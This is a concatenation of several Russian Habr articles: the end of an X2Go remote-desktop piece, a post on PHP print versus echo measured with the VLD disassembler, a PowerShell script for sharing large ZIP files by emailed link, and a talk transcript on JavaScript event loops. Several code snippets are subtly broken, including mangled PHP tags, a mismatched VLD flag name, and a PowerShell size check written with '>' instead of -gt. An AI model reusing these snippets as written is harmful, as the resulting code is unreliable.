В отличие от нуждающейся в высокой пропускной способности канала системы VNC, X2Go использует продвинутый протокол NX 3 для минимизации объема передаваемых данных. В системе есть собственный X-сервер, к тому же она практически не требует настроек и отличается продвинутыми возможностями. Мы рассказали только о самых основных, но X2Go умеет намного больше, включая трансляцию клиенту звука и видео с сервера, печать на локальном принтере (на VPS придется установить дополнительные пакеты для настройки виртуального принтера) и общие каталоги. Взаимодействие с сервером идет через надежный и проверенный временем sshd — пользователю доступны безопасные механизмы аутентификации, в т.ч. с ключами. X2Go автоматически настраивает среду при входе в систему (держать X-сервер постоянно запущенным не нужно), при этом поддерживается многопользовательская работа и большинство популярных окружений рабочего стола, а сеанс не убивается даже после разрыва соединения.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=krest&utm_content=x2goubuntu#order) | https://habr.com/ru/post/514894/ | null | ru | null |
# print или echo, что быстрее?
Под катом перевод довольно старого поста Фабиена (Fabien Potencier) на тему print vs echo, примечательного, на мой взгляд, методом установления «истины». В отличии от подавляющего большинства подобных исследований, в этом вы не найдете запуска скриптов с echo и print миллионы раз.
*Дисклеймер: перевод не является буквально дословным равно как и литературным.*
##### print vs echo, which one is faster?
Как большинство из нас, я устал читать блог-посты про бессмысленные микро-оптимизации типа замены print на echo, ++$I на $i++ или двойные кавычки на одинарные. Почему? Потому что в 99.999999% случаев, это не имеет значения. Почему? Потому что в 99.99% случаев было бы лучше с вашей стороны, если бы вы установили кешер опкода типа APC, или добавили недостающие в вашей базе индексы, или попробовали не делать те 1000 SQL запросов, которые у вас делаются на главной.
Но давайте притворимся, что вы действительно хотите знать ответ на этот вопрос. Вместо того, чтобы пытаться написать скрипт и запустить его миллионы раз, я хочу показать вам инструмент, который может быть полезен тем, что он помогает лучше понять наш php код.
Знакомьтесь — [VLD](http://derickrethans.nl/vld.php) — «Vulcan Logic Disassembler». VLD написан Дериком Ризансом ([Derrick Rethans](http://derickrethans.nl/)) и, как становится ясно при прочтении главной страницы проекта, «VLD цепляется за Zend Engine и делает дамп всех опкодов выполняемого скрипта».
Установка VLD тривиальна — скачиваете и устанавливаете так же как и любое другое расширение php.
```
phpize
$ ./configure
$ sudo make install
```
Подключите расширение в php.ini
```
extension=vld.so
```
*(ну или в каком нибудь /etc/php/apache2/conf.d/vld.ini — вам виднее где это правильнее сделать в вашей ОС прим. пер.)*
Время заглянуть под капот. Создайте два файла: один с echo и другой с print
```
// print.php
php print 'foo';
</code
```
```
// echo.php
php echo 'foo';
</code
```
Запустите эти скрипты из командной строки с параметрами -d vld.activate=1 чтобы активировать VLD вывод и давайте посмотрим на опкод выданный скриптами.
```
$ php -d vld.active=1 print.php
```
```
number of ops: 4
compiled vars: none
line # op fetch ext return operands
-------------------------------------------------------------------------------
1 0 PRINT ~0 'foo'
1 FREE ~0
2 2 RETURN 1
3* ZEND_HANDLE_EXCEPTION
```
—
```
$ php -d vld.active=1 echo.php
```
```
number of ops: 3
compiled vars: none
line # op fetch ext return operands
-------------------------------------------------------------------------------
1 0 ECHO 'foo'
2 1 RETURN 1
2* ZEND_HANDLE_EXCEPTION
```
Нашли отличие? — Да, print использует на один опкод больше, потому, что возвращает что-то. Мы можем заключить, что echo быстрее чем print. Но один опкод ничего не стоит. Правда. Даже если в скрипте сотни вызовов print (вспомни формулу X = E-1 прим. пер.)
> Кстати, благодаря тому, что print всегда возвращает 1, вы можете делать интересные штуки типа такой:
>
>
> ```
> // Так нельзя сделать с echo
> php $isFoo and print 'foo'; ?
>
> ```
>
>
>
Хотите узнать количество опкода выполняемое при запуске скрипта с кучей инклюдов? Попробуйте так:
```
$ php -d vld.active=1 print.php 2> output
$ grep "number of ops" output | cut -f 5 -d ' ' | (tr '\n' +; echo 0) | bc
```
Я попробовал на голом Wordpress. На моем ноутбуке скрипт виснет до тех пор, пока не вываливается с ошибкой «Bus Error», но уже к этому моменту количество опкода зашкаливает за 2.3 миллиона. Этим все сказано. | https://habr.com/ru/post/211156/ | null | ru | null |
# Пересылка больших файлов. Автоматическое получение ссылки для скачивания на почту
Пользователям достаточно часто приходится заниматься пересылкой больших файлов как внутри локальной сети, так и за её пределы. К примеру, Пьеро нужно выслать Мальвине документацию объёмом 10 гигабайт. Тут на помощь не придет корпоративная почта, так как пользователи обычно не хотят заморачиваться с копированием ссылок и т.п. Если они в одной локальной сети, то поможет расшаренная папка, а если они на разных концах страны… Как правило, приходится пользоваться FTP-сервером, что зачастую не очень удобно, либо интернет-сервисами обмена большими файлами.
Так пришла идея создать удобный и контролируемый сервис для пересылки больших файлов в локальной сети.
Реализация на PowerShell, платформа Windows.
**Требования:**
* Веб сервер опубликованный в интернет.
* Расшаренная папка на компьютере под Windows (для определения владельца файла).
* Настройка на сервере с шарой выполнения скрипта по расписанию, раз в минуту.
**Как это работает:**
* Пользователь помещает ZIP архив в расшаренную папку на сервере.
* Скрипт ищет ZIP-файлы в расшаренной папке и перемещает их в папку веб-сервера, затем отправляет письмо *Владельцу* файла.
* Пользователю приходит письмо со ссылкой на скачивание файла через ваш веб-сервер.
* Пользователь пересылает письмо со ссылкой на скачивание адресату.
**Описание работы скрипта:**
* Удаление в целевой папке всего, что не имеет расширения ZIP.
* Получение списка ZIP-файлов в целевой папке.
* Перебор ZIP файлов с обработкой каждого файла функцией Send\_URL.
* Функция Send\_URL: определяет Владельца файла, обрабатывает имя файла, перемещает файл под новым именем в папку веб-сервера, высылает Владельцу и Администратору (для контроля) на почту ссылку на скачивание файла, удаляет файлы в папке веб-сервера старше определенного количества дней. Более подробные комментарии смотрите в скрипте.
* Создание файла в расшаренной папке с именем-подсказкой «только ZIP архив, остальное удаляется.txt».
Примечание: если пользователь входит в группу Администраторы на сервере с расшаренной папкой, то Владелец = группе Администраторы, для этого в скрипте указывается административный почтовый ящик.
**В скрипте необходимо поменять следующие параметры на требуемые вам:**
```
$path = "C:\UPLOAD\" #Расшареная папка на сервере
$path1 = "C:\inetpub\wwwroot\UPLOAD\" #Папка на веб-сервере, откуда скачивают
```
**В функции Send\_URL изменить параметры:**
```
$day = -30 #Вы можете скачать файл в течении "+(-1*$day)+" дней. Затем файл будет удален с сервера.
$mail_domain = "@mydomain.com"
$owner_domain = "mydomain\\"
$mail_admin = "admin@mydomain.com"
$mail_server = "mail.mydomain.com"
$http = "http://web.mydomain.com/UPLOAD/"
```
Корректное определение владельца файла возможно только в домене. Без домена вам придется завести учетные записи пользователей на компьютере с расшаренной папкой и ассоциировать их с вашими пользователями.
**Код:**
```
#Файл Func.ps1 ###################################
# Смирнов Александр Николаевич hars@bk.ru декабрь 2015г.
Function Send_URL($File,$path,$path1){
### Параметры которые необходимо поправить на свои
##################################################
$day = -30 #Вы можете скачать файл в течении "+(-1*$day)+" дней. Затем файл будет удален с сервера.
$mail_domain = "@mydomain.com"
$owner_domain = "mydomain\\"
$mail_admin = "admin@mydomain.com"
$mail_server = "mail.mydomain.com"
$http = "http://web.mydomain.com/UPLOAD/"
##################################################
$File_nm = $File.Trim() # Удаление пробелов в начале и в конце в имени файла
$File = $File -replace '\[|\]','`$0' # Замена [] на корректные символы
$owner = ( Get-Acl ($path + $File) ).Owner # Владелец файла
############## Формирование email
if( $owner -like "*dministrator*" -or !$owner ){
$mail = $mail_admin
}else{
$mail = ($owner -ireplace($owner_domain,"")) + $mail_domain
}
######################################
#$md5 = Get-FileHash ($path + $File) -Algorithm MD5
#$File_url = $md5.Hash + ".zip"
#$File_new = $path1 + $md5.Hash + ".zip"
############# Ограничение размера имени файла
if($File_nm.length > 100){
$File_url = $File_nm.Substring(0,100)
}else{
$File_url = $File_nm
}
#############################################
############# Замена символов @!{}%$#''&`
$File_url = $File_url -ireplace("#","")
$File_url = $File_url -ireplace("%","")
$File_url = $File_url -ireplace("$","")
$File_url = $File_url -ireplace("&","_")
$File_url = $File_url -ireplace("{","(")
$File_url = $File_url -ireplace("}",")")
$File_url = $File_url -ireplace('`',"")
$File_url = $File_url -ireplace('"',"")
$File_url = $File_url -ireplace("'","")
$File_url = $File_url -ireplace("~","")
$File_url = $File_url -ireplace(" ","_")
#########################################
# Формирование имени файла для публикации в веб
$File_url = $mail + "_" + $File_url
# Путь перемещаемого файла
$File_new = $path1 + $File_url
# Перемещение файла в веб-папку
Move-Item -path ( $path + $File ) -destination $File_new -force -EA SilentlyContinue #-whatif
# Проверка перемещения файла на случай если он ещё копируется пользователем в папку
if( Get-ChildItem $File_new -EA SilentlyContinue){
write-host "OK" #Файл существует
#установка новой метки времени создания файла,
#чтобы скрипт отвечающий за очистку папки от старых файлов,
#не удалил созданный давным давно, но пересылаемый сейчас или время от времени архив
$F = Get-ChildItem $File_new
$F.LastWriteTime = Get-date
}else{
write-host "NO" #Файл не сущетсвует
break # прерывание функции
}
# Размер файла
$colItems = (Get-ChildItem $File_new | Measure-Object -property length -sum)
$colSize = "{0:N2}" -f ($colItems.sum / 1MB) + " Mb"
######################################
#Сообщение пользователю
$Body = "**Скачать:** [" + $File\_nm + " (" + $colSize + ")](" + $http + $File_url +")
Вы можете скачать файл в течении "+(-1*$day)+" дней. Затем файл будет удален с сервера."
#Отправка письма
Send-MailMessage -to $mail -from $mail_admin -subject "Пересылка файлов" -BodyAsHtml $Body -Encoding UTF8 -SmtpServer $mail_server
#Отправка письма администратору, для контроля
if($mail -inotlike $mail_admin){
Send-MailMessage -to $mail_admin -from $mail -subject "Пересылка файлов" -BodyAsHtml $Body -Encoding UTF8 -SmtpServer $mail_server
}
Write-Host $owner $mail $Body # Проверка в консоли что кому отправляем
######################################
#Проверка устаревания файлов в веб-папке и их удаление по мере устаревания
get-childitem $path1 *.zip | where {$_.lastwritetime -le (get-date).adddays($day) } | del -Recurse -Force
}
##########################################################################################
##########################################################################################
##########################################################################################
##########################################################################################
##########################################################################################
#Файл Send_URL.ps1 ###################################
# Смирнов Александр Николаевич hars@bk.ru декабрь 2015г.
#В расписание добавить исполнение скрипта раз в минуту
# powershell.exe "C:\Scripts\Send_URL.ps1" -NoLogo -NonInteractive -WindowStyle Hidden
<#
."C:\scripts\Func.ps1" # Подгружаем файл с функциями. Лучше подгружать функции(процедуры), так красивее.
#>
### Параметры которые необходимо поправить на свои
##################################################
$path = "C:\UPLOAD\" #Расшареная папка на сервере
$path1 = "C:\inetpub\wwwroot\UPLOAD\" #Папка на веб-сервере, откуда скачивают
##################################################
# Удаляем все кроме ZIP файлов
Get-ChildItem $path -Recurse -Exclude *.zip | %{ Remove-Item $_ -Force -Recurse }
# Получаю имена файлов в папке
$flist = get-childitem $path"*.zip" #-recurse
# Перебор ZIP файлов, перемещение и отсылка владельцу файла письма со ссылкой
$flist | ForEach-Object{ Send_URL $_.PSChildName $path $path1 }
# Заново копируем html перенаправляющий на сайт
#В файле index.html строчка перенаправления, для "невозможности" просмотра папки в браузере
#
#copy C:\inetpub\wwwroot\index.html C:\inetpub\wwwroot\UPLOAD\index.html -Force
# Создание файла с именем-подсказкой, для особо одаренных
New-Item $path"только ZIP архив, остальное удаляется.txt" -type file -Force
###################################
###################################
###################################
#Файл DeleteOldFiles.ps1 ###################################
#Удаление старых файлов. Удаление файлов старше ХХ дней.
# Смирнов Александр Николаевич hars@bk.ru декабрь 2015г.
#В расписание добавить исполнение скрипта раз в день
# powershell.exe "C:\Scripts\DeleteOldFiles.ps1" -NoLogo -NonInteractive -WindowStyle Hidden
### Параметры которые необходимо поправить на свои
##################################################
$ClearFolder = "C:\inetpub\wwwroot\UPLOAD\" #Папка которую вы чистите
$day = -14 #Время устаревания файла в днях со знаком минус
##################################################
#Функция oldDel перебирает все файлы в папке и проверяет время их последнего изменения
#если время изменения меньше или равно текущая дата минус 14 дней, то файл удаляется
function oldDel($folder,$day){
get-childitem $folder * | where {$_.lastwritetime -le (get-date).adddays($day) } | del -Recurse -Force #-WhatIf
}
oldDel $ClearFolder $day
``` | https://habr.com/ru/post/276575/ | null | ru | null |
# Иван Тулуп: асинхронщина в JS под капотом
А вы знакомы с Иваном Тулупом? Скорее всего да, просто вы еще не знаете, что это за человек, и что о состоянии его сердечно-сосудистой системы нужно очень заботиться.
Об этом и о том, как работает асинхронщина в JS под капотом, как Event Loop работает в браузерах и в Node.js, есть ли какие-то различия и, может быть, похожие вещи рассказал **Михаил Башуров** ([SaitoNakamura](https://habr.com/ru/users/saitonakamura/)) в своем докладе на РИТ++. С удовольствием делимся с вами расшифровкой этого познавательного выступления.
**О спикере:** Михаил Башуров — fullstack веб-разработчик на JS и .NET из Luxoft. Любит красивый UI, зеленые тесты, транспиляцию, компиляцию, технику compiler allowing и улучшать dev experience.
**От редактора:** Доклад Михаила сопровождался не просто слайдами, а демо-проектом, в котором можно понажимать на кнопочки и самостоятельно посмотреть за выполнением тасок. Оптимальным вариантом будет открыть [презентацию](https://saitonakamura.github.io/ivan-tooloop/) в соседней вкладке и периодически к ней обращаться, но и по тексту будут даны отсылки на конкретные страницы. А теперь передаем слово спикеру, приятного чтения.
Дед Иван Тулуп
--------------
У меня была кандидатура на Ивана Тулупа.
Но я решил пойти более конформистским путем, поэтому встречайте — дед Иван Тулуп!
О нем нужно знать на самом деле только две вещи:
1. Он любит играть в карты.
2. У него, как и у всех людей, есть сердце, и оно бьется.
Факты об инфаркте
-----------------
Возможно, вы слышали, что в последнее время участились случаи сердечных заболеваний и смертности от них. Наверное, самое распространенное сердечное заболевание — это инфаркт, то есть сердечный приступ.
Что интересного известно об инфаркте?
* Чаще всего он возникает утром в понедельник.
* У одиноких людей риск возникновения инфаркта в два раз выше. Тут, возможно, дело исключительно в корреляции, а не в причинно-следственной связи. К сожалению (или к счастью), тем не менее, это так.
* Десять дирижеров погибли от инфаркта во время дирижирования (по-видимому, очень нервная работа!).
* Инфаркт — это некроз сердечной мышцы, вызванный недостатком притока крови.
У нас есть коронарная артерия, которая подводит к мышце (миокарду) кровь. Если кровь начинает к ней плохо поступать, мышца постепенно отмирает. Естественно, на сердце и на его работу это оказывает крайне негативное воздействие.
У деда Ивана Тулупа тоже есть сердце, и оно бьется. Но наше сердце качает кровь, а сердце Ивана Тулупа качает наш код и наши таски.
Таски: большой круг кровообращения
-----------------------------------
Что такое таски? Что вообще может быть таской в браузере? Зачем они вообще нужны?
Например, мы выполняем код из скрипта. Это одно биение сердца, и вот у нас пошел кровоток. Мы нажали на кнопку и подписались на событие — у нас выплюнулся обработчик этого события — тот Callback, который мы передали. Поставили setTimeout, Callback сработал — еще одна таска. И так по частям, одно биение сердца — это одна таска.
Существует множество разных источников тасок, по спецификации их огромное количество. Наше сердце продолжает биться, и пока оно бьется, у нас все хорошо.
### Event Loop в браузере: упрощенная версия
Это можно представить на очень простой диаграмме.
* Есть таска, мы ее выполнили.
* Затем мы выполняем браузерный рендер.
Но на самом деле это не обязательно, потому что браузер в некоторых случаях может не выполнить рендер между двумя тасками.
Это может произойти, например, если браузер может решить сгруппировать несколько таймаутов или несколько событий прокрутки. Или в какой-то момент что-то пойдет не так, и браузер решит вместо 60 fps (обычная частота кадров, чтобы все шло классно и плавненько) показывать 30 fps. Таким образом, у него будет гораздо больше времени для выполнения вашего кода и другой полезной работы, он сможет выполнить несколько тасок.
Поэтому рендер на самом деле не обязательно выполняется после каждой таски.
### Таски: классификация
Существует два типа потенциальных операций:
1. I/O bound;
2. CPU bound.
**CPU bound** — это наша полезная работа, которую мы делаем (считаем, выводим на экран и т.д.)
**I/O bound** — это те точки, в которых мы можем наши задачи поделить. Это может быть:
* Таймаут.
Мы сделали setTimeout 5000 мс, и эти 5000 мс мы просто ждем, а можем выполнять другую полезную работу. Только когда это время пройдет, мы достанем Callback, и выполним какую-то работу в нем.
* xhr / fetch.
Мы пошли в сеть. Пока мы ждем ответа от сети, мы просто ждем, но можем и что-то полезное делать.
* Сеть (бд).
Или, например, мы ходим в сеть Network BD. Мы же и про Node.js говорим, в том числе, и, если мы хотим из Node.js пойти куда-то в сеть пожалуйста — это такая же потенциальная I/O bound задача (input/output).
* Файл.
Прочитать файл — потенциально это вообще не CPU bound таска. В Node.js она выполняется в thread pool из-за немножко кривого API у Linux, если быть честным.
Тогда CPUbound это:
* Например, когда мы делаем цикл for of / for (;;) или по массиву как-то еще дополнительными методами проходимся: filter, map и пр..
* JSON.parse или JSON.stringify, то есть сериализация / десериализация сообщений. Это все выполняется на CPU, мы не можем просто ждать, пока все это где-то выполнится волшебным образом.
* Подсчет хэшей, то есть, например, майнинг крипты.
Конечно, крипту можно майнить и на GPU, но я думаю — GPU, CPU — вы понимаете эту аналогию.
### Таски: аритмия и тромб
В итоге получается, что наше сердце бьется: оно выполняет одну таску, вторую, третью — до тех пор, пока мы что-то не делаем неправильно. Например, мы проходимся по массиву из 1 млн элементов и считаем сумму. Казалось бы, это не так сложно, но может занять ощутимое время. Если мы постоянно занимаем ощутимое время, не отпуская таску, у нас рендер не может выполняться. Он завис в этой таске, и все — начинается аритмия.
Думаю, что все понимают, что аритмия — это довольно неприятное сердечное заболевание. Но с ним еще можно жить. Что будет, если вы поместите такую задачу, которая просто повесит весь Event Loop в бесконечный цикл? Вы как бы поместите тромб в коронарную или еще какую-то артерию, и все станет совсем печально. К сожалению, наш дедушка Иван Тулуп погибнет.
### Вот и помер дед Иван…
Для нас это означает, что зависнет вообще вся вкладка — нельзя будет кликнуть ни на что, а потом Chrome скажет: «Aw, Snap!»
Это даже гораздо хуже багов на веб-сайте, когда что-то пошло не так. Но если вообще все зависло, да еще, наверное, CPU нагрузило и у пользователя вообще все повесилось, то он, скорее всего, на ваш сайт больше никогда не пойдет.
Поэтому идея такая: у нас есть таска, и нам не нужно в этой таске зависать очень долго. Нам нужно побыстрее её отпустить, чтобы браузер, если что, смог отрендерить (если захочет). Если не захочет — прекрасно, пляшем!
Демо Филипа Робертса: Loupe by Philip Roberts
----------------------------------------------
Рассмотрим [пример](http://latentflip.com/loupe/?code=JC5vbignYnV0dG9uJywgJ2NsaWNrJywgZnVuY3Rpb24gb25DbGljaygpIHsKICAgIGNvbnNvbGUubG9nKCdjbGljaycpOyAgICAKfSk7CgpzZXRUaW1lb3V0KGZ1bmN0aW9uIHRpbWVvdXQoKSB7CiAgICBjb25zb2xlLmxvZygidGltZW91dCIpOwp9LCA1MDAwKTsKCmNvbnNvbGUubG9nKCJIZWxsbyB3b3JsZCIpOw%3D%3D!!!PGJ1dHRvbj5DbGljayBtZSE8L2J1dHRvbj4%3D):
```
$.on(’button', ‘click', function onClick(){
console.log('click');
});
setTimeout(function timeout() {
console log("timeout");
}. 5000);
console.log(“Hello world");
```
Суть такая: у нас есть кнопочка, мы на нее подписываемся (addEventListener), вызывается Timeout на 5 с и сразу в console.log пишем «Hello, world!», в setTimeout пишем Timeout, в onClick пишем Click.
Что будет, если мы это запустим и много раз на кнопочку покликаем — когда Timeout на самом деле выполнится? Посмотрим демо:
Код начинает исполняться, попадает на стек, Timeout идет. Тем временем мы покликали на кнопочку. Внизу в очередь добавилось несколько событий. Пока выполняется Click, Timeout ждет, хотя 5 с уже прошло.
Здесь onClick выполняется быстро, но если вы поместите более долгую задачу, то вообще все зависнет, как уже было выяснено ранее. Это очень упрощенный пример. Здесь одна очередь, а в браузерах на самом деле все не так.
В каком порядке выполняются события — что об этом говорит спецификация HTML?
Она говорит следующее: у нас есть 2 понятия:
1. task source;
2. task queue.
Task source — это своеобразный тип задач. Это может быть User interaction, то есть onClick, onChange — что-то, с чем пользователь взаимодействует; или таймеры, то есть setTimeout и setInterval, или PostMessages; или вообще совершенно дикие типа Canvas Blob Serialization task source — тоже отдельный тип.
Спецификация говорит, что для одного и того же task source задачи будут гарантированно выполняться в порядке добавления. Для всего остального ничего не гарантируется, потому что task queue может быть неограниченное количество. Браузер сам решает, сколько их будет. С помощью task queue и их создания браузер может приоритезировать те или иные задачи.
### Приоритеты браузеров и очереди задач
Представим, что у нас есть 3 очереди:
1. user interaction;
2. timeouts;
3. post messages.
Браузер начинает доставать таски из этих очередей:
* Сначала он берет **onFocus** user interaction — это очень важно — одно биение сердца у нас пошло.
* Потом он берет **postMessages** — хорошо, postMessages довольно приоритетный, классно!
* Следующий — **onChange** — тоже снова из user interaction в приоритете.
* Дальше отправляется **onClick**. Очередь user interaction на этом закончилась, мы вывели пользователю все, что нужно.
* Потом берем **setInterval**, добавляем postMessages.
* **setTimeout выполнится только самым последним**. Он был где-то в конце очереди.
Это опять тоже очень упрощенный пример, и, к сожалению, **никто не может гарантировать, как это будет работать в браузерах**, потому что они сами все это решают. Вам нужно самим это тестировать, если вы хотите выяснить, что это такое.
Например, postMessages приоритетнее, чем setTimeout. Возможно, вы слышали о такой штуке, как setImmediate, которая, например, в браузерах IE была, только нативная. Но есть полифилы, которые основаны в основном не на setTimeout, а на создании канала postMessages и подписывании на него. Это работает в целом быстрее, потому что браузеры это приоритезируют.
Хорошо, эти таски у нас выполняются. В какой момент мы заканчиваем выполнять нашу таску и понимаем, что можем взять следующую, или что мы можем отрендерить?
### Стек
Стек — это простая структура данных, которая работает по принципу «last in — first out», т.е. «последнего положил — его же первого достаешь» **.** Самый близкий, наверно, реальный аналог — это колода карт. Поэтому наш дед Иван Тулуп любит играть в карты.
Выше пример, в котором есть некоторый код, этот же пример можно потыкать в [презентации](https://saitonakamura.github.io/ivan-tooloop/#12). В каком-то месте мы вызываем handleClick, вводим console.log, вызываем showPopup и window. confirm. Давайте формировать стек.
* Итак, сначала мы берем handleClick и кладем в стек вызов этой функции — отлично!
* Потом мы заходим в его тело и выполняем его.
* Кладем на стек console.log, и тут же его выполняем, потому что для его выполнения все есть.
* Далее мы кладем showConfirm — это вызов функции — отлично.
* Положили в стек функции — кладем ее тело, то есть window.confirm.
Больше у нас ничего нет — выполняем. Выведется окошечко: «Вы уверены?», нажмем на «Да», и все уйдет со стека. Теперь мы закончили тело showConfirm и тело handleClick. Наш стек очистился и можно переходить к следующей задаче. Вопрос: хорошо, я теперь знаю, что нужно разбивать это все на маленькие кусочки. Как мне, например, это сделать в самом элементарном случае?
### Разбиение массива на чанки и их асинхронная обработка
Давайте рассмотрим самый «в лоб» пример. Сразу предупреждаю: пожалуйста, не пытайтесь повторить это дома — он не скомпилируется.
У нас есть большой-большой массив, и мы что-то по нему хотим посчитать, например, распарсить какие-то бинарные данные. Мы можем просто разбить его на чанки: обработать этот кусочек, этот и этот. Выбираем размер чанка, допустим, 10 тысяч элементов, считаем, сколько у нас будет чанков. У нас есть функция parseData, которая входит в CPU bound и может действительно делать что-то тяжелое. Потом разбиваем массив на чанки, делаем setTimeout(() => parseData(slice), 0).
В этом случае браузер опять же сможет приоритезировать User interaction и выполнять рендер в промежутках. То есть вы хотя бы отпускаете ваш Event Loop, и он продолжает работать. Ваше сердце продолжает биться, и это хорошо.
Но это реально очень «в лоб» пример. Сейчас в браузерах есть множество API, которые помогут это сделать более специализированно.
Помимо setTimeout и setInterval, есть API, которые выходят за пределы тасок, такие как, например, requestAnimationFrame и requestIdleCallback.
Наверное, многие знакомы с **requestAnimationFrame**, и даже уже его используют. Он выполняется перед рендером. Его прелесть в том, что, во-первых, он старается выполняться каждые 60 fps (или 30 fps), вo-вторых, это все выполняется непосредственно перед созданием CSS Object Model и пр.
Поэтому если даже у вас есть несколько requestAnimationFrame, они фактически сгруппируют все изменения, и фрейм выйдет целостный. В случае setTimeout вы конечно такого получить и гарантировать не можете. Один setTimeout изменит что-то одно, другой другое, а между этим может проскочить рендер — у вас будет дерганье экрана или еще что-то. RequestAnimationFrame для этого подходит замечательно.
Помимо этого, есть еще **requestIdleCallback.** Может быть, вы слышали, что он используется в React v16.0 (Fiber). RequestIdleCallback работает таким образом, что если браузер понимает, что у него между фреймами (60 fps) есть время, чтобы выполнить что-то полезное, и при этом они уже все сделал — таску сделал, requestAnimationFrame сделал — вроде бы все классно, то он может выдать маленькие кванты, скажем, по 50 мс, чтобы вы что-то сделали (режим IDLE).
На диаграмме выше его нет, потому что он не находится в каком-то конкретном месте. Браузер может решить поместить его до фрейма, после фрейма, между requestAnimationFrame и рендером, после таски, до таски. Этого никто гарантировать не может.
Гарантированно вам то, что если у вас есть работа, не связанная с изменением DOM (потому что тогда requestAnimationFrame — анимация и прочее), при этом она не супер приоритетная, но ощутимая, то requestIdleCallback — это ваш выход.
Итак, если у нас есть долгая CPU bound операция, то мы можем постараться разбить ее на части.
* Если это изменение DOM, то используем **requestAnimationFrame.**
* Если это неприоритетная, недолгая и не тяжелая задача, которая будет не слишком нагружать CPU, то **requestIdleCallback.**
* Если у нас большая мощная задача, которую надо исполнять постоянно, тогда мы выходим за пределы Event Loop и используем WebWorkers. Другого выхода нет.
**Итоги по таскам в браузерах:**
1. Дробите все на маленькие задачи.
2. Есть много типов задач.
3. Задачи приоритезируются по этим типам через очереди по спецификации.
4. Многое решается браузерами, и единственный способ понять, как это работает — просто проверить, запустить тот или иной код.
5. Но спецификация соблюдается не всегда!
Проблема в том, что наш Иван Тулуп — старый дед, потому что реализации Event Loop в браузерах тоже на самом деле очень старые. Они были созданы еще до того, как была написана спецификация, поэтому спецификация, к сожалению, соблюдается постольку поскольку. Даже если вы читаете, что по спецификации должно быть так, никто не гарантирует, что все браузеры это поддержали. Так что обязательно проверяйте в браузерах, как это работает на самом деле.
Дед Иван Тулуп в браузерах — это человек слабопредсказуемый, с какими-то интересными особенностями, надо об этом помнить.
Терминатор-Санта: маскот Loop в Node.js
----------------------------------------
Node.js больше похоже на кого-то такого.
Потому, что с одной стороны это тот же самый дед с бородой, но при этом все распределено по фазам и четко расписано, где что выполняется.
**Фазы Event Loop в Node.js:**
* timers;
* pending callback;
* idle, prepare;
* poll;
* check;
* close callbacks.
Все, кроме последнего, не очень-то и понятно, что значит. У фаз такие странные названия, потому что под капотом, как мы уже знаем, у нас Libuv, дабы править всеми:
* *Linux —* epoll / POSIX AIO;
* *BSD —* kqueue;
* *Windows —* IOCP;
* *Solaris —* event ports.
Тысячи их всех!
Помимо этого, Libuv также предоставляет тот самый Event Loop. В нем нет специфики Node.js, а есть фазы, и Node.js их просто использует. Но названия она зачем-то взяла оттуда.
Посмотрим, что каждая фаза на самом деле означает.
#### Фаза Timers исполняет:
* Callback готовых таймеров;
* setTimeout и setInterval;
* Но **НЕ** setImmediate — это другая фаза.
#### Фаза pending callbacks
До этого в документации фаза называлась I/O callbacks. Совсем недавно эту документацию поправили, и она перестала противоречить сама себе. До этого в одном месте было написано, что I/O callbacks исполняется в этой фазе, в другом — что в poll фазе. Но теперь там написано все однозначно и хорошо, поэтому читайте документация — что-то станет гораздо более понятным.
В фазе pending callback исполняются коллбэки от некоторых системных операций (TCP error). То есть, если в Unix ошибка в TCP-socket, в этом случае он хочет не сразу ее выкинуть, а в коллбэке, который как раз будет исполнен на этой фазе. Это все, что нам нужно о ней знать. Нам она практически не интересна.
#### Фаза Idle, prepare
В этой фазе мы вообще ничего не можем сделать, поэтому забудем о ней в принципе.
#### Фаза poll
Это самая интересная фаза в Node.js, потому что она занимается основной полезной работой:
* Исполняет I/O-коллбэки (не pending callback фаза!).
* Ждет событий от I/O;
* Здесь круто делать setImmediate;
* Нет таймеров;
Забегая вперед, setImmediate исполнится на следующей фазе check, то есть гарантированно раньше таймеров.
А Также фаза poll контролирует поток Event Loop. Например, если у нас нет таймеров, нет setImmediate, то есть никто таймер не сделал, setImmediate не вызывал, мы просто в этой фазе заблокируемся и будем ждать события от I/O, если нам что-то придет, если есть какие-то коллбэки, если мы на что-то подписались.
Как реализуется неблокирующая модель? Например, у того же Epoll мы можем подписаться на событие — открыли socket и ждем, когда что-нибудь в него напишут. Помимо этого, вторым аргументом идет timeout, т.е. мы Epoll будет ждать, но если timeout закончится, а событие от I/O не придет, то он выйдет из timeout. Если нам придет событие из сети (кто-то в socket напишет), то придет оно.
Поэтому фаза poll достает из heap (куча — структура данных, которая позволяет хорошо отсортированно доставать и доставлять) самый ранний коллбэк, берет его timeout, записывает в этот timeout и отпускает все. Таким образом, даже если у нас никто в socket не напишет, timeout сработает, возвратится в фазу poll и работа продолжится.
> Важно заметить, что в фазе poll есть лимит по количеству коллбэков за раз.
>
>
Печально, что в остальных фазах его нет. Если вы добавите 10 млрд timeout, вы добавите 10 млрд timeout. Поэтому следующая фаза — это фаза check.
#### Фаза check
Здесь исполняется setImmediate. Фаза прекрасна тем, что setImmediate, вызванный в poll-фазе, выполнится гарантированно раньше, чем таймер. Потому что таймер будет только на следующем тике в самом начале, а из poll-фазы раньше. Поэтому мы можем не бояться конкуренции с другими таймерами и использовать эту фазу для тех вещей, которые мы не хотим по каким-то причинам исполнять в коллбэке.
#### Фаза close callbacks
Эта фаза не исполняет все наши коллбэки закрытия socket и прочего типа:
```
socket.on('close', …).
```
Она исполняет их только в том случае, если это событие вылетело неожиданно, например, кто-то на том конце послал: «Все – закрываем socket — иди отсюда, Вася!» Тогда сработает эта фаза, потому что событие неожиданное. Но на нас это не особенно влияет.
### Неверная асинхронная обработка чанков в Node.js
Что будет, если мы такой же паттерн, который мы брали в браузерах с setTimeout, положим на Node.js — то есть разобъем массив на чанки, для каждого чанка сделаем setTimeout — 0.
```
const bigArray = [1..1_000_000]
const chunks = getChunks(bigArray)
const parseData = (slice) => // parse binary data
for (chunk of chunks) {
setTimeout(() => parseData(slice), 0)
}
```
Как вы думаете, есть ли какие-то проблемы с этим?
Я уже немного забежал вперед, когда сказал, что, если добавить 10 тысяч timeout (или 10 млрд!), в очереди будут 10 тысяч таймеров, и он будет их доставать и исполнять — никакой защиты от этого нет: доставать — исполнять, доставать — исполнять и так до бесконечности.
Только poll фаза, если у нас постоянно событие от I/O приходит, все время в socket кто-то что-то пишет, чтобы мы хотя бы таймеры и setImmediate могли исполнить, имеет защиту на лимит, причем системозависимый. То есть он будет отличаться на разных ОС.
